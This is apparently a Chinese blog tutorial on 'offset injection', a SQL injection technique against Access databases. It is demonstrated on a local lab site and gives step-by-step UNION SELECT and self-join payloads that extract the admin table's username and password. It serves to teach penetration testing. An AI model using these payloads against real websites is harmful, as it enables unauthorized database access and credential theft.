偏移注入指access偏移注入,由于数据库结构的问题,偏移注入只适用于access数据库。对于access数据库来说,无论是逐字猜解还是联合查询注入,都是需要我们能够猜到用户名和密码的列名(字段),才可以注入出数据,而有的时候,站长取的字段名很另类,我们猜不出来的时候,就需要偏移注入了。

 偏移注入的前提:

  猜出表名,且知道一个或多个字段。(access)

 如果当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,这样我们成功率会更高。意思就是管理表字段越少越好,最好只有id,username,password三个字段。

 下面我本地搭个环境来演示:

  目标站:192.168.17.128/0

这里是注入点。http://192.168.17.128/0/Production/PRODUCT_DETAIL.asp?id=1513

当前注入点字段数22,管理表名admin,下面直接联合查询爆显位。

3和15为显位,这时候我们跑不出字段,选择偏移注入。

判断管理表内存在的字段数。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

继续,直到返回正常。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin

到16返回正常,那么我们此时得出admin表下有6个字段。(字段数-返回正常字段数  22-16=6)

这里要说一下"admin as a inner join admin as b on a.id=b.id"的意思,下面要用到,把admin表命名a表,b表,打印a.id=b.id的所有行。这里是admin表的自连接,admin为表名, id为字段(可以是其他已知字段)。

偏移注入的基本公式为:order by 出的字段数-*号的字段数x2。这里是22-6*2=10,那么开始构造payload,

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

这里偏移到了管理员创建时间这个字段了(我也猜的,反正不是我们要的),然后下面就要利用到隐性显位了,我们可以"查看网页源代码"。

可以看到密码了,心情逐渐忐忑…哈哈。

这时候已经得到了密码,却没有账号怎么办,我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。在字段后面插个a.id,b.id,

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin b on a.id=b.id)

或者只加a.id也可以打乱信息组合,

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin b on a.id=b.id)

这样经过了两次偏移我们得到了管理员账号密码。不过这里只是一级偏移,在字段足够多的时候,我们可以多级偏移,成功率会高很多,

这个时候我们再去掉6个字段(管理表下的字段数),增加c.id代替字段重新打乱组合,

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as bon a.id=b.id) inner join admin as c on a.id=c.id)

这次隐性显位一次性爆出了管理账号密码,啧啧,这时候也解释了前面为什么说当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,成功率会更高了。

PS:偏移注入只适用于access数据库。

渗透测试----access偏移注入的更多相关文章

  1. access偏移注入原理

    前言:近段时间在学习access偏移注入时,在网上查询了大量的资料,感觉很多资料讲解的十分模糊并且我个人认为有很多不够严谨的地方,于是我便在线下经过大量测试,写出以下文章,如有错误,望指出. 如要转载 ...

  2. 使用C#winform编写渗透测试工具--SQL注入

    使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...

  3. Web渗透测试(sql注入 access,mssql,mysql,oracle,)

    Access数据库注入: access数据库由微软发布的关系型数据库(小型的),安全性差. access数据库后缀名位*.mdb, asp中连接字符串应用-- "Driver={micros ...

  4. access数据库一般注入方法及偏移注入

    1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...

  5. ACCESS 手工注入

    ACCESS的注入,基本是死的.思路很简单,基本都可以工具解决.上代码: 1.判断有无注入点' and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pa ...

  6. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  7. Access数据库之偏移注入

    /*转载请注明出处:珍惜少年时*/ 偏移注入主要是针对知道表,但是不知道字段的. 这里我已经知道了表明是:sys_admin 可以使用: select exists(selct * from sys_ ...

  8. 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...

  9. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

随机推荐

  1. Redux概览

    简介 Redux 是一个有用的架构 Redux 的适用场景:多交互.多数据源 工作流程图 action 用户请求 //发出一个action import { createStore } from 'r ...

  2. 运行所选代码生成器时出错:“值-1超出了可接受的[0,2147483647]范围。参数名称:value”

    在使用vs2019添加mvc控制器的时候 这已经是第二次遇到这个问题了.常言道,多喝热水,重启试试.有时候当应用工作不正常,重启也许能解决问题.但是程序员通常接触不到服务器系统权限.而运维人员和公司流 ...

  3. RabbitMQ的各个参数

    简介 原文:https://blog.csdn.net/vbirdbest/article/details/78670550 本节主要讨论队列声明的各个参数 queueDeclare(String q ...

  4. Android进阶之绘制-自定义View完全掌握(五)

    在自定义类继承View实现自定义控件的过程中,我们还应该对一些自定义属性有所了解. 我们通过一个案例来学习一下. 新建一个android项目,然后我们创建一个类MyAttributeView继承Vie ...

  5. Java web部分-面试题

    1.Tomcat的优化经验 答:去掉对web.xml的监视,把jsp提前编辑成Servlet. 有富余物理内存的情况,加大tomcat使用的jvm的内存 2.Servlet的生命周期 答:servle ...

  6. 缓存系列-Redis入门教程

    Redis是什么? Redis (REmote DIctionary Server)是一个开源(BSD许可),内存存储的数据结构服务器,可用作数据库,高速缓存和消息队列,是一个高性能的key-valu ...

  7. 熔断监控Turbine

    step1:修改hosts的ip地址映射,创建eureka集群 可参考:https://www.cnblogs.com/noneplus/p/11374883.html step2:创建服务提供者 p ...

  8. Spark应用监控解决方案--使用Prometheus和Grafana监控Spark应用

    Spark任务启动后,我们通常都是通过跳板机去Spark UI界面查看对应任务的信息,一旦任务多了之后,这将会是让人头疼的问题.如果能将所有任务信息集中起来监控,那将会是很完美的事情. 通过Spark ...

  9. hbase G1 GC优化

    本文借鉴之前HBaseConAsia2017,小米公司对hbase g1 gc的优化分享.此外还可以参考apache官方博客对于hbase g1 gc优化的一篇文章(Tuning G1GC For Y ...

  10. 《阿里巴巴Java开发手册1.4.0》阅读总结与心得(二)

    (六)并发处理 12. [推荐] 在并发场景下, 通过双重检查锁(double-checked locking) 实现延迟初始化的优化问题隐患(可参考 The "Double-Checked ...